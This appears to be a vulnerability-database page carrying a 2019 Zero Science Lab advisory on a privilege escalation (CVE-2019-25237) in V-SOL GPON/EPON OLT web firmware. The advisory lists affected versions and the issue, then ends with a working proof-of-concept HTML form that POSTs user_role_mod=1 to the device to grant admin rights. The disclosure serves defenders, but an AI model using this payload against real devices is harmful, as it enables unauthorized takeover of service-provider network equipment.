V-SOL GPON/EPON OLT Platform v2.03 Remote Privilege Escalation
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
 | CVE-2019-25237 | 24 Dec 202520:55 | – | circl |
 | V-SOL GPON/EPON OLT Platform 安全漏洞 | 24 Dec 202500:00 | – | cnnvd |
 | CVE-2019-25237 | 24 Dec 202519:27 | – | cve |
 | CVE-2019-25237 V-SOL GPON/EPON OLT Platform 2.03 Privilege Escalation via User Role Parameter | 24 Dec 202519:27 | – | cvelist |
 | EUVD-2025-205323 | 24 Dec 202521:30 | – | euvd |
 | CVE-2019-25237 | 24 Dec 202520:15 | – | nvd |
 | PT-2025-53323 | 24 Dec 202500:00 | – | ptsecurity |
 | CVE-2019-25237: Incorrect Authorization | 24 Dec 202500:00 | – | rapid7 |
 | CVE-2019-25237 V-SOL GPON/EPON OLT Platform 2.03 Privilege Escalation via User Role Parameter | 24 Dec 202519:27 | – | vulnrichment |
<html><body><p>V-SOL GPON/EPON OLT Platform v2.03 Remote Privilege Escalation
Vendor: Guangzhou V-SOLUTION Electronic Technology Co., Ltd.
Product web page: https://www.vsolcn.com
Affected version: V2.03.62R_IPv6
V2.03.54R
V2.03.52R
V2.03.49
V2.03.47
V2.03.40
V2.03.26
V2.03.24
V1.8.6
V1.4
Summary: GPON is currently the leading FTTH standard in broadband access
technology being widely deployed by service providers around the world.
GPON/EPON OLT products are 1U height 19 inch rack mount products. The
features of the OLT are small, convenient, flexible, easy to deploy, high
performance. It is appropriate to be deployed in compact room environment.
The OLTs can be used for 'Triple-Play', VPN, IP Camera, Enterprise LAN and
ICT applications.
Desc: The application suffers from a privilege escalation vulnerability.
Normal user can elevate his/her privileges by sending a HTTP POST request
setting the parameter 'user_role_mod' to integer value '1' gaining admin
rights.
Tested on: GoAhead-Webs
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2019-5538
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5538.php
25.09.2019
--
</p>
<form action="http://192.168.8.200/action/user.html" method="POST">
<input name="user_name_add" type="hidden" value=""/>
<input name="user_password_add" type="hidden" value=""/>
<input name="password_confirm_add" type="hidden" value=""/>
<input name="user_role" type="hidden" value="0"/>
<input name="user_password_mod" type="hidden" value="test"/>
<input name="password_confirm_mod" type="hidden" value="test"/>
<input name="user_role_mod" type="hidden" value="1"/>
<input name="option_um" type="hidden" value="17"/>
<input name="who" type="hidden" value="1"/>
<input type="submit" value="Escalate"/>
</form>
</body></html>Data
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26 Sep 2019 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 48.7
CVSS 3.19.8
EPSS0.00356
SSVC